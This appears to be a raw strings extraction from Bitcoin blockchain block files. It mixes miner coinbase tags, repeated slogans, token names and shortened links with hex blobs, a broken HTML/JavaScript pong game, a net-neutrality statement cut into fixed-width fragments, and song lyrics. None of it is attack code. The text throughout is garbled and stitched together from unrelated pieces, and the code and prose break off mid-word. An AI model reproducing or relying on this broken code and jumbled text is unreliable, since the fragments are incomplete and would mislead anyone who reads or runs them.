6oJEwZbLuAdQBXBJVKVqP
! counterparty.io/feed12y8fYgT1jayR
csnaehQZKtAcBW4i5hr4UF
! counterparty.io/feed1JTgsifskP8ZR
iGrCGEPm7fUkiaABhD63aA
! counterparty.io/feed16muhxRJK8YnR
WwciXyPTDBtqq3LyFkUbhG
! counterparty.io/feed1hrqa8MVktXHR
zHqzsiDvw328SE4fUCjWF
! counterparty.io/feed1PEzoriPJ4k1R
UTi86MFBUjpPJNA7stFXnF
'NOTHING BIG CAME OUT OF SOMETHING SMALL
$/mining.bitcoinaffiliatenetwork.com/
(=h`I,! 4DbJWx1RceaTLXcPdxho9cKBhsPzJHDXR
! up6x5NWgm88BFj8ZLEsJ9LSemHFw4mzdR
ms|! PQpUKDSP5EU4y9SHGocH3WxFQdFCWLssR
! grCJMKEUw7u1BaFJDPMTPq8LktwBxdBpR
! t2RxCGgGVAoQwU12rDo6cSFC1DTkoSk8R
! 8cL4kTxvkgBYqdFSQcs1wpD4gNGGX9r8R
! QCDCujeAYHoygBfuJQfEKixvyfH5YqFUR
! Af4ckttmvUaS7fjM4QvhftT1oFdUpN79R
! XUFkqNn9eTkNGB2Ben2zhcDRCY4oVXE9R
TMined by f2poolscant
$/mining.bitcoinaffiliatenetwork.com/
Mined by native801015
DW BITCOIN DIFFICULTY
T-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by chenguangfu1
Mined by zhanlongclam
u=https://cpr.sm/52sy6t57w4
u=https://cpr.sm/52sy6t57w4
Mined by wanyouyinli1
...BUT SWEAT MEMORIES REMAIN
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Mined by nanjinghaowei
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lat,A F B,Bflat Afla
P-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
lat,A F B,Bflat Afla
lat,A F B,Bflat Afla
Mined by zhanlongclam
bitcoin will change the world
Welcome to the real world.
DA,C Bflat,AG,DA,AFB
,BAD,GBE for solo pi
ano - music work for
0Mined by duanyuan888
(j&I love Liwen and Wenxin forever.by Jun
'NOTHING BIG CAME OUT OF SOMETHING SMALL
'NOTHING BIG CAME OUT OF SOMETHING SMALL
#The truth is that there is no spoon
[! pswEXZSTrjrSerjZ5wXcV7afvzZJv3bJR
...BUT SWEAT MEMORIES REMAIN
Time is always against us.
u=https://cpr.sm/rSfu0d8JmJ(6
Mined by wanyouyinli1
u=https://yoursite.com/icecream
https://yoursite.com/icecream
)j'I fell inLove withZhouYu at first sight
)j'I fell inLove withZhouYu at first sight
)j'But I have the duty of my family&my boy
$/mining.bitcoinaffiliatenetwork.com/
$/mining.bitcoinaffiliatenetwork.com/
Mined by f2poolscant
...BUT SWEAT MEMORIES REMAIN
What is the Banking? Control.
Welcome to the real world.
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by ozn851159915
5Mined by f2poolscant
&j$I still have a dream.ping26years old
)j'I really wanna tell her these in person
megabigpower.comT[kV
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
u=https://cpr.sm/wt3OYZSgtc8]
Welcome to the real world.
05ad825fbdc2455ffd0d
a529ab7e79006e089c28
07aea0366199a8e89fe7
41275609ba923a993d8b
57ef3095f09c88f99a66
Mined by AntPool 04"
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Operation "rakushka" :)
Official Asset of HomestuR
/$/mining.bitcoinaffiliatenetwork.com/
wsBcBAABCgAGBQJUW/nf
AAoJEOw2pfEsR+bQ4IcH
/3NTuvqC90uSkbWt+FEI
SvGMHJ3mT8eSuwsrG8zJ
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3p8OHU4Rjv+YHoMkDq8w
3IjHnalppcSu7CwevJcj
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dk6GuSuGrjdRZuz6jvl7
S9zaDooblSLyPDm0xc6R
dl7ea9p/xZgtLwBeXwKF
N91TQ0V1h8hdRyB7Os4O
Mined by zhanlongclam
Welcome to the real world.
...BUT SWEAT MEMORIES REMAIN
Welcome to the real world.
ROYALTY PAYMENT TOKEN
INVOICE STATEMENT TOKEN
'NOTHING BIG CAME OUT OF SOMETHING SMALL
...BUT SWEAT MEMORIES REMAIN
Mined by qq1046861234
Operation "rakushka" :)
u=https://cpr.sm/cF5WXDYd6B8]
Time is always against us.
(Award BXSX To Your OnlineR
u=https://cpr.sm/cF5WXDYd6B
$/mining.bitcoinaffiliatenetwork.com/
Mined by yfj13879973906
Mined by f2poolscant
u=https://cpr.sm/UZvz2h2bsu
Follow the white rabbit.
Mined by g2493879375
Operation "rakushka" :)
Mined by zhuyuming518
File: blk00193.txt
Mined by f2poolscant
Mined by f2poolscant
Follow the white rabbit.
...BUT SWEAT MEMORIES REMAIN
Welcome to the real world.
u=https://cpr.sm/YvFNYl8J4m$F
Mined by zhanlongclam
Mined by f2poolscant
X'NOTHING BIG CAME OUT OF SOMETHING SMALL
Welcome to the real world.
Mined by gf406224454
Mined by wanyouyinli1
What is the Banking? Control.
...BUT SWEAT MEMORIES REMAIN
Mined by f2poolscant
Mined by f2poolscant
Mined by wgj123960442
b'NOTHING BIG CAME OUT OF SOMETHING SMALL
vBUu<3Cc7a4zo2Ke]YO7l
Mined by sxwo47995152
u=https://cpr.sm/Frix1E9bzQ
Mined by zhaodong1982
Mined by zhaodong1982
"Investment on shares of tR
Torduckin0 - http://
wx3wmh767azjjl4v.oni
u=https://cpr.sm/y3LcONmuFQ
Follow the white rabbit.
)Crypto-Rewards Program htR
Mined by cuiliu20061205
Mined by f2poolscant
...BUT SWEAT MEMORIES REMAIN
#The truth is that there is no spoon
Mined by zhanlongclam
u=https://cpr.sm/8Sw9h-hrnb
u=https://cpr.sm/uKZDjTIDtC
! 5248A5C1D9E606DE22408A7730B10873R
702968B913C82E3690E2CAB3636A
Operation "rakushka" :)
*#The truth is that there is no spoon
Operation "rakushka" :)
Mined by f2poolscant
Mined by wanyouyinli1
Mined by sxwo47995152
PedroHDA_welovU_AAAD
Mined by daizhizhong
Mined by qq183276400
Mined by l13355617255
*169<<h1><a href="bo
ng-ball.html">BONG</
2990d54045a9c316110f
b713009d1313b2f64c4b
216d66891c7284d6c1ca
0e/bong-ball.html">G
O BACK</h1><p>bong-b
href="../062990d540
45a9c316110fb713009d
1313b2f64c4b216d6689
1c7284d6c1ca0e/bong-
ball.html">BONG</a>
ude file="..\broadca
st\global-tweet.ssi"
src="../f5e8166c30fd
080f9c5f0ab79a57b058
e0d31364f8064f39badd
dff2675f754b/jquery.
$(document).ready(f
//BE
va
var dx
var WIDT
var
var playerOne
var playerT
var paddl
v
var
playerOneDown = fals
var playerOneUp
var player
va
r playerTwoUp = fals
var radius = 10;
var playerCount =
var playerOne =
var playerTwo =
var pause = true
var dazzle = fals
var imageObj = n
var c
anvas = document.get
ElementById('myCanva
//Handle var
ious key down events
function onKeyDown
if (evt
.keyCode == 40) play
else if (evt.keyC
ode == 38) playerOne
else
if (evt.keyCode ==
90 & playerCount > 1
) playerTwoDown = tr
else if ((e
vt.keyCode == 65 ||
evt.keyCode == 81) &
playerCount > 1) pl
else if (evt.keyC
ode == 32) pause = f
else if (
evt.keyCode == 48) d
se if (evt.keyCode =
= 66) radius = 1 + M
ath.floor(Math.rando
else
if (evt.keyCode ==
49) playerCount = 1;
else if (evt.k
eyCode == 50) player
else
if (evt.keyCode ==
51) playerCount = 3;
else if (evt.k
playerTwo =
clearIn
//and unset
them when the key is
function
if (evt.keyCode == 4
0) playerOneDown = f
else if (
evt.keyCode == 38) p
else if (evt.ke
yCode == 90 & player
Count > 1) playerTwo
e
lse if ((evt.keyCode
== 65 || evt.keyCod
e == 81) & playerCou
nt > 1) playerTwoUp
else i
f (evt.keyCode == 48
$(document).ke
$
(document).keyup(onK
function i
playerOnePaddle = H
EIGHT / 2 - (paddleh
playerTw
oPaddle = playerOneP
f
ctx = canvas.getCo
canvas.wi
dth = window.innerWi
s.height = window.in
WIDTH = canvas.wid
HEIGHT = ca
in
dx = 1 + Math.f
loor(Math.random() *
if (play
erOne > playerTwo) {
x = WIDTH -
x = paddlew +
dy = Math.floor(
Math.random() * 9) -
if (dy == 0
pla
playerOneUp = f
playerTwo
p
intervalId = 0;
ctx.font = "30
inte
rvalId = setInterval
(draw, 2 + Math.floo
r(Math.random() * 4)
functio
n drawImage(imageObj
var imageWi
dth = imageObj.width
var imageHeig
ht = imageObj.height
var imageX =
(WIDTH / 2) - (image
var
imageY = (HEIGHT /
2) - (imageHeight /
ctx.drawIma
ge(imageObj, imageX,
im
ageObj.src = '../062
990d54045a9c316110fb
713009d1313b2f64c4b2
16d66891c7284d6c1ca0
function circle(x
ctx.b
ctx
.arc(x, y, r, 0, Mat
function rec
ctx.rect(x, y, w,
ctx.closeP
ctx.fill
function c
ctx.cl
earRect(0, 0, WIDTH,
fu
nction playerTwoBall
if (x
<= WIDTH / 2 & dx <
//rand
omly pick number bet
var delayReaction
//25% chanc
if (delayRe
if (y >
playerTwoPaddle + p
if (playerTwo
Paddle + paddleh + 5
playe
else if (y < p
if (p
layerTwoPaddle - 5 >
playerTwoPad
e
var centerPaddl
//
80% chance of better
centering the paddl
/
/otherwise the paddl
eAI will most of the
//hit the ball i
n one of its extremi
if (centerPaddle >
//if bal
l closer to up side
if (Math.abs(y - pla
yerTwoPaddle) < Math
.abs(y - playerTwoPa
if (playerTwoPad
playerTwoPaddle
if (play
erTwoPaddle + paddle
playerTwoPad
}
tion playerOneBallAI
if (x >=
WIDTH / 2 & dx > 0)
//random
ly pick number betew
var delayReaction =
//25% chance
if (delayReac
if (y > p
layerOnePaddle + pad
if (playerOnePa
ddle + paddleh + 5 <
playerO
else if (y < pla
if (pla
yerOnePaddle - 5 >=
playerOnePaddl
els
var centerPaddle
//40
% chance of better c
//o
therwise the paddleA
I will most of the t
//hit the ball in
one of its extremiti
if (centerPaddle > 0
//if ball
closer to up side of
if
(Math.abs(y - playe
rOnePaddle) < Math.a
bs(y - playerOnePadd
if (playerOnePaddl
playerOnePaddle -
el
if (player
OnePaddle + paddleh
playerOnePaddl
function drawSideL
ctx.be
ctx.
rect(0, 0, WIDTH, 10
ctx.closePat
ctx.fill()
ctx.beginPa
ctx.rect(
0, HEIGHT - 10, WIDT
ctx
c
//E
f
if (
dazzle) ctx.fillStyl
e = 'rgba(' + (1 + M
ath.floor(Math.rando
m() * 256)) + ', ' +
(1 + Math.floor(Mat
h.random() * 256)) +
', ' + (1 + Math.fl
oor(Math.random() *
circle(x, y, radius)
drawImage(ima
ctx.fill
Text(playerTwo, (WID
ctx.fillText(pla
yerOne, (WIDTH / 2 +
//move the paddle if
up or down is curre
if (playerOneDown) {
if (player
OnePaddle + paddleh
playerOneP
els
e if (playerOneUp) {
if (player
OnePaddle - 5 >= 0)
playe
if (playerTwoDown)
if (play
erTwoPaddle + paddle
playerTw
e
lse if (playerTwoUp)
if (play
erTwoPaddle - 5 >= 0
pla
if (playerOne
y = playerOn
ePaddle + (paddleh /
y = playerTwoPa
ddle + (paddleh / 2)
if (playerC
ount == 1) playerTwo
if (p
draw
re
ct(WIDTH - paddlew,
playerOnePaddle, pad
rect(0, playerTwoPa
ddle, paddlew, paddl
if (y +
dy + radius > HEIGHT
|| y + dy - radius
dy = -
//left la
if (x + dx -
radius < paddlew) {
if (y <=
playerTwoPaddle - r
adius - (paddlew / 2
) || y >= playerTwoP
addle + paddleh + ra
dius + (paddlew / 2)
if
(playerCount <3)paus
clearInterv
else if (x + dx
+ radius > WIDTH - p
counterfeitbitcoin.com
counterfeitbitcoins.com
counterfeitbitcoin.com
Mined by zhouzhenmei
$/mining.bitcoinaffiliatenetwork.com/
#The truth is that there is no spoon
?Mined by f2poolscant
Mined by f2poolscant
Mined by huangyuhang
Mined by qq303762743
Mined by qq772641164
Mined by f2poolscant
What is the Banking? Control.
Mined by qq553967525
Mined by AntPool (KB
What is the Banking? Control.
Mined by nanjinghaowei
u=https://cpr.sm/LhbWUy9pCsXU
See:www.btcsouk.com/
Mined by lucifer1006
u=https://cpr.sm/g8JRaPF9q3
u=https://cpr.sm/dCYmjtbhNdH
if (y >= playerOneP
addle - radius - (pa
ddlew / 2) && y <= p
layerOnePaddle + pad
dleh + radius + (pad
dy = 8 * ((y -
(playerOnePaddle +
paddleh / 2)) / padd
d
if (playe
rCount < 3) pause =
p
clearInterval(i
if (pause == false)
nvas id="myCanvas" w
idth="700" height="5
8415623c2b791384f090
5234c10c2a302d68d031
da7abba8149c7ff8d85e
7051"7986/8415623c2b
791384f0905234c10c2a
302d68d031da7abba814
3bb506a365d1e856e6e2
16c0139828a77ba39a46
fed05b810b3e4b0a06e2
4fff4d168a92b054e0bb
db3739cf39d09245fb2f
3b0814f0259132840b09
a2cd2997810b719f7e6f
aa92575139723f852b85
7367d93fc576da4b3f15
98748a493a215ce5afa9
ae66dd1cb9a7ca6b3e1d
a9c7ec0bf1da6eaab059
1026b6f0c938c58d8b35
3f0b23cac68539ff4ed7
d208a61275af2ef98f69
9592b4cf9991bbd103c1
ff6523d6dca1330101cc
0d0f6df063f8c70af354
fd9ec9f07c520e8c9a83
3c91edbf5c89f103c456
6d4bf722f3d8fada39b8
c19a734c1a17df94abbe
08fe804d2cc1e8f676a9
7109c67218969bf893f7
73de8d853c7c71d69cd0
1c8c3e6485ac2642f64b
7d952b28f89f9bd540df
f68c9606a834162a0dfd
d7a67ceb5d059d8bcdc4
bab7c6603c8ceda1500b
7e2c966b5993d7232287
8908d8457cba4e2dab54
95eee7d1c94f419368b7
d717f57db71d3acd6952
30ce3ff3c107c75fb28e
75c3020cd81400691efe
1804a306281afd913106
058514458385a6f07f13
1015c78b5343742d4de9
bdc51505d5097606954c
90e81338d9abfdba4131
5bdaa8d4950a40421604
3873cd2bb500e698a2fd
39515b4f4fe3af3bcb11
318fda3b8a76c0aced2d
24ed2401bca1973ee8c5
98d69b3b4810a5e26ce4
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34de886ea481251f9952
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M3i7Mined by f2poolscant
Mined by supercloud2014
op_return: "hellowwww"
u=https://cpr.sm/bv6t6ZK1H9H
u=https://cpr.sm/5YnJMVg-_Z
u=https://cpr.sm/nhonRtQdoA
)j'0 Celebrimbor was the son of Curufin, f
Time is always against us.
Time is always against us.
u=https://cpr.sm/6a6TEUanpQ(n
u=https://cpr.sm/qEFU6zSDur
)j'1 Kats", "name": "KatKoins", "total": 1
1 ": "Lunchpad Coins"}
)j'0 {"desc": "Karefully Krafted Koin for
)j'0 {"total": 10000000, "desc": "", "name
u=https://cpr.sm/uRxxNmUboN
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"https://www.topcoin.com/aR
u=https://cpr.sm/5YnJMVg-_Z
u=https://cpr.sm/FYtxPxv1kF
opensour.cc Developers NeR
opensour.cc Developers NeR
Time is always against us.
File: blk00194.txt
b5c02acc0425cb11ba02
24360d452eae5bb94315
Mined by wuwei871125
$/mining.bitcoinaffiliatenetwork.com/
Mined by lz272202222
Mined by wrissler700
PROMESSAS DA TERRA VIRTUOR
Mined by f2poolscant
Mined by liugonggong
ELECTRONIC BID TOKEN
SPANISH AND ITALIAN SOCCER
ELECTRNIC POUND STERLING
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BLOCKCHAIN TIME STAMP TOKR
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%BLOCKCHAIN PROOF OF EXISTR
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BLOCKCHAIN RELATIONAL PROR
TAX HAVEN EXCHANGE MEDIUMR
SPANISH RENTAL TOKEN
u=https://cpr.sm/xAiI3VCXho
u=https://cpr.sm/x-KAs4aZpGH
Welcome to the real world.
MASSACHUSSETTS BAY TRANSIR
#NEW YORK METROPOLITAN TRAR
WASHINGTON METRO TRNASPORR
opensour.cc Developers NeR
k=kMined by f2poolscant
|7173?<div class="se
ction-body"> <style
type="text/css"> .se
ction-body { backgro
und: #f6f6f6; paddin
g-top: 10px; padding
-left: 30px; padding
-right: 30px; paddin
g-bottom: 30px; font
-size: 14px; color:
#4b4b4b; width: 680p
x;}img.displayed { d
isplay: block; margi
n-left: auto; margin
-right: auto }</styl
e><p><img class="dis
played" src="potus_s
tatement_topper_312x
244.png" width="156p
x" /></p><p><tt>An o
pen Internet is esse
ntial to the America
n economy, and incre
asingly to our very
way of life. By lowe
ring the cost of lau
nching a new idea, i
gniting new politica
l movements, and bri
nging communities cl
oser together, it ha
s been one of the mo
st significant democ
ratizing influences
the world has ever k
nown.</tt></p><p><tt
o the fabric of the
Internet since its c
s also a principle t
hat we cannot take f
or granted. We canno
t allow Internet ser
vice providers (ISPs
) to restrict the be
st access or to pick
winners and losers
in the online market
place for services a
nd ideas. That is wh
y today, I am asking
the Federal Communi
cations Commission (
FCC) to answer the c
all of almost 4 mill
ion public comments,
and implement the s
trongest possible ru
les to protect net n
eutrality.</tt></p><
p><tt>When I was a c
andidate for this of
fice, I made clear m
y commitment to a fr
ee and open Internet
, and my commitment
remains as strong as
ever. Four years ag
o, the FCC tried to
implement rules that
would protect net n
eutrality with littl
e to no impact on th
e telecommunications
companies that make
important investmen
ts in our economy. A
fter the rules were
challenged, the cour
t reviewing the rule
s agreed with the FC
C that net neutralit
y was essential for
preserving an enviro
nment that encourage
s new investment in
the network, new onl
ine services and con
tent, and everything
else that makes up
the Internet as we n
ow know it. Unfortun
ately, the court ult
imately struck down
cause it disagreed w
ith the need to prot
ect net neutrality,
but because it belie
ved the FCC had take
n the wrong legal ap
proach.</tt></p><p><
tt>The FCC is an ind
ependent agency, and
ultimately this dec
ision is theirs alon
e. I believe the FCC
should create a new
set of rules protec
ting net neutrality
and ensuring that ne
ither the cable comp
any nor the phone co
mpany will be able t
o act as a gatekeepe
r, restricting what
you can do or see on
line. The rules I am
asking for are simp
le, common-sense ste
ps that reflect the
Internet you and I u
se every day, and th
at some ISPs already
observe. These brig
ht-line rules includ
e:</tt></p><ul><li><
tt><strong>No blocki
ng.</strong> If a co
nsumer requests acce
ss to a website or s
ervice, and the cont
ent is legal, your I
SP should not be per
mitted to block it.
That way, every play
e commercially affil
t your business.</tt
></li><li><tt><stron
g>No throttling.</st
rong> Nor should ISP
s be able to intenti
onally slow down som
e content or speed u
a process often cal
pe of service or you
s.</tt></li><li><tt>
<strong>Increased tr
ansparency.</strong>
The connection betw
een consumers and IS
is not the only pla
ce some sites might
get special treatmen
t. So, I am also ask
ing the FCC to make
full use of the tran
sparency authorities
the court recently
upheld, and if neces
sary to apply net ne
utrality rules to po
ints of interconnect
ion between the ISP
and the rest of the
Internet.</tt></li><
li><tt><strong>No pa
id prioritization.</
strong> Simply put:
No service should be
oes not pay a fee. T
hat kind of gatekeep
ing would undermine
the level playing fi
eld essential to the
. So, as I have befo
re, I am asking for
an explicit ban on p
aid prioritization a
nd any other restric
tion that has a simi
lar effect.</tt></li
></ul><p><tt>If care
fully designed, thes
e rules should not c
reate any undue burd
en for ISPs, and can
have clear, monitor
ed exceptions for re
asonable network man
agement and for spec
ialized services suc
h as dedicated, miss
ion-critical network
s serving a hospital
. But combined, thes
e rules mean everyth
ing for preserving t
ness.</tt></p><p><tt
>The rules also have
to reflect the way
people use the Inter
net today, which inc
reasingly means on a
mobile device. I be
lieve the FCC should
make these rules fu
lly applicable to mo
bile broadband as we
ll, while recognizin
g the special challe
nges that come with
managing wireless ne
tworks.</tt></p><p><
tt>To be current, th
ese rules must also
build on the lessons
of the past. For al
most a century, our
law has recognized t
hat companies who co
nnect you to the wor
ld have special obli
gations not to explo
it the monopoly they
enjoy over access i
n and out of your ho
me or business. That
is why a phone call
from a customer of
one phone company ca
n reliably reach a c
ustomer of a differe
nt one, and why you
will not be penalize
d solely for calling
someone who is usin
g another provider.
It is common sense t
hat the same philoso
phy should guide any
service that is bas
ed on the transmissi
ll, or a packet of d
ata.</tt></p><p><tt>
So the time has come
for the FCC to reco
gnize that broadband
service is of the s
ame importance and m
ust carry the same o
bligations as so man
y of the other vital
services do. To do
that, I believe the
FCC should reclassif
y consumer broadband
service under Title
II of the Telecommu
ile at the same time
forbearing from rat
e regulation and oth
er provisions less r
elevant to broadband
services. This is a
basic acknowledgmen
t of the services IS
Ps provide to Americ
an homes and busines
ses, and the straigh
tforward obligations
necessary to ensure
the network works f
just one or two comp
anies.</tt></p><p><t
t>Investment in wire
d and wireless netwo
rks has supported jo
bs and made America
the center of a vibr
ant ecosystem of dig
ital devices, apps,
and platforms that f
uel growth and expan
d opportunity. Impor
tantly, network inve
stment remained stro
ng under the previou
s net neutrality reg
ime, before it was s
truck down by the co
urt; in fact, the co
urt agreed that prot
ecting net neutralit
y helps foster more
investment and innov
ation. If the FCC ap
propriately forbears
from the Title II r
egulations that are
not needed to implem
ent the principles a
that most ISPs have
re new rules are con
sistent with incenti
ves for further inve
stment in the infras
tructure of the Inte
rnet.</tt></p><p><tt
>The Internet has be
en one of the greate
st gifts our economy
The FCC was charter
ed to promote compet
ition, innovation, a
nd investment in our
networks. In servic
e of that mission, t
here is no higher ca
lling than protectin
g an open, accessibl
e, and free Internet
. I thank the Commis
sioners for having s
erved this cause wit
h distinction and in
tegrity, and I respe
ctfully ask them to
adopt the policies I
have outlined here,
to preserve this te
for today, and futu
re generations to co
me.</tt></p> </div>p
otus_statement_toppe
r_312x244.png>11063:
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f30162f5a145b7d0012e
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by zxd345152369
Time is always against us.
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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Mined by liangzepeng
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What is the Banking? Control.
$/mining.bitcoinaffiliatenetwork.com/
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#/mining.bitcoinaffiliatnetwork.com/
Mined by f2poolscant
Mined by f2poolandrew
Mined by zhongyunlong01
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
...BUT SWEAT MEMORIES REMAIN
Operation "rakushka" :)
Mined by f2poolscant
8c8846af260f4efb823c
820fb6cbe313e7cb9a44
U'NOTHING BIG CAME OUT OF SOMETHING SMALL
|Jq! CKSCAN VERIFY-ADDRESS wxnwnagqmfR
Mined by zhanlongclam
Mined by f2poolscant
Time is always against us.
Sent via brainwalletsweep.com
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by f2poolscant
Sent via brainwalletsweep.com
Mined by f2poolscant
u=https://cpr.sm/crD2iVDkSH
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/HKxrXm9hx48]
!Digital Voluntary Carbon R
"The Way of the Slig is MyR
Mined by f2poolscant
Mined by huangyuhang
)j'VINCIANE SEVERINE ET ALEX POUR TOUJOURS
u=https://cpr.sm/9Tbrv6JCWv
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u=https://cpr.sm/9Tbrv6JCWv`Q
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Mined by AntPool :$|
u=https://cpr.sm/9Tbrv6JCWv
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Mined by huangyuhang
...BUT SWEAT MEMORIES REMAIN
N! .net/pdf/janssen-portfolio-2014-R
N! 11-12.pdf Short NOK 38d5b6fae7R
N! a89ff7e47ac0e4e7337e09328821651fR
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Operation "rakushka" :)
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u=https://cpr.sm/CDJstP4OEE
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File: blk00195.txt
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megabigpower.comTd Rj
Welcome to the real world.
u=https://cpr.sm/97-MH_e4hu
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File: blk00196.txt
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What is the Banking? Control.
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Welcome to the real world.
Mined by AntPool (KB
File: blk00197.txt
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Welcome to the real world.
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Mined by f2poolscant
u=https://cpr.sm/GZft1Zk22m(6
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hello world test again
i'NOTHING BIG CAME OUT OF SOMETHING SMALL
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
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We've known each other for so long
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We know the game and we're gonna play it (TO FRONT)
...BUT SWEAT MEMORIES REMAIN
'NOTHING BIG CAME OUT OF SOMETHING SMALL
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Operation "rakushka" :)
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What is the Banking? Control.
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Welcome to the real world.
What is the Banking? Control.
#The truth is that there is no spoon
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GB2APDK Ninjas team 4ever.
Welcome to the real world.
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Complementary Currency
Complementary Currency
Complementary Currency
Complementary Currency
Complementary Currency
File: blk00199.txt
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What is the Banking? Control.
H-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
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#The truth is that there is no spoon
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"Post-modern is just the label you attach to everything post-self-awareness-singularity." - https://twitter.com/petertoddbtc/status/536237900644364288
"Post-modern is just the label you attach to everything post-self-awareness-singularity." - https://twitter.com/petertoddbtc/status/536237900644364288
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by lyhsw903924808
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
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643a4ea81524031c2fa9
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926a147dfa96ca89fae0
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Time is always against us.
Mined by lz272202222
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What is the Banking? Control.
111111111111111111111
Trustless Exchange Token
Operation "rakushka" :)
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u=https://cpr.sm/T_YoJ74gCj
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#The truth is that there is no spoon
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GB2APDK Ninjas team 4ever.
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o&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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What is the Banking? Control.
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u=https://cpr.sm/Zxaoc9s9AI
u=https://cpr.sm/Zxaoc9s9AI8
u=https://cpr.sm/Zxaoc9s9AI
u=https://cpr.sm/Zxaoc9s9AIh
u=https://cpr.sm/Zxaoc9s9AI
u=https://cpr.sm/Zxaoc9s9AI
u=https://cpr.sm/Zxaoc9s9AI0&
u=https://cpr.sm/Zxaoc9s9AI
)http://www.sigimera.com/cR
Mined by wwww714938002
f-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Operation "rakushka" :)
6#The truth is that there is no spoon
Mined by wangxingsmile
GB2APDK Ninjas team 4ever.
ONE BAGGER FOR ANOTHER AR
u=https://cpr.sm/jdOrdfrZaj8]
ONE BEGGER FOR ANOTHER ASR
#Investment on shares of tR
"Investment on shares of tR
Time is always against us.
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
1 ws Coins", "desc": ""}
)j'0 {"total": 10000000, "name": "Music Ne
Mined by nanjinghaowei
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
Mined by cc406459565
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
u=https://cpr.sm/Hk7KoUJ1Wj
$Boosting AI industry at cR
$Boosting AI industry at cR
! CKSCAN VERIFY-ADDRESS jg4teica6vR
O! CKSCAN VERIFY-ADDRESS jg4teica6vR
! CKSCAN VERIFY-ADDRESS bksjnvsbr4R
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
! CKSCAN VERIFY-ADDRESS lui2gywcqiR
...BUT SWEAT MEMORIES REMAIN
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
HL>Mined by f2poolscant
Mined by zhengshugang88
Mined by cjs18665506868
%1 vote in shareholder votR
TOKEN BACKED BY CRYPTO ASR
Mined by nanjinghaowei
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
$&HE WHO IS GIVEN EVERYTHING HAS NOTHING
...BUT SWEAT MEMORIES REMAIN
Mined by mayixiongdi
.mining.bitcoinaffiliatnetwork.com Finder: s0br
Mined by qq772641164
What is the Banking? Control.
Mined by zhanlongclam
TOKEN BACKED BY CRYPTO ASR
TOKEN BACKED BY CRYPTO ASR
Mined by yuling12345
Follow the white rabbit.
Mined by chenning888
.mining.bitcoinaffiliatnetwork.com Finder: s0br
Mined by realsun8888
The trouble is you t
Be the change you wi
sh to see in the wor
V#The truth is that there is no spoon
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
digitaltangibletrust.com/aR
ssets/GLDGERHERFOURC
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
#The truth is that there is no spoon
h II0000000000000000
Welcome to the real world.
u=https://cpr.sm/rbiEEgLacV
u=https://cpr.sm/Ghf085A0gl
;n)Mined by f2poolscant
What is the Banking? Control.
Follow the white rabbit.
u=https://cpr.sm/VrwS2NSQxo
...BUT SWEAT MEMORIES REMAIN
Operation "rakushka" :)
Mined by shenlie2014
Mined by yuling12345
Mined by f2poolscant
Mined by zhanlongclam
Mined by zhaoyangyang
cPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPh
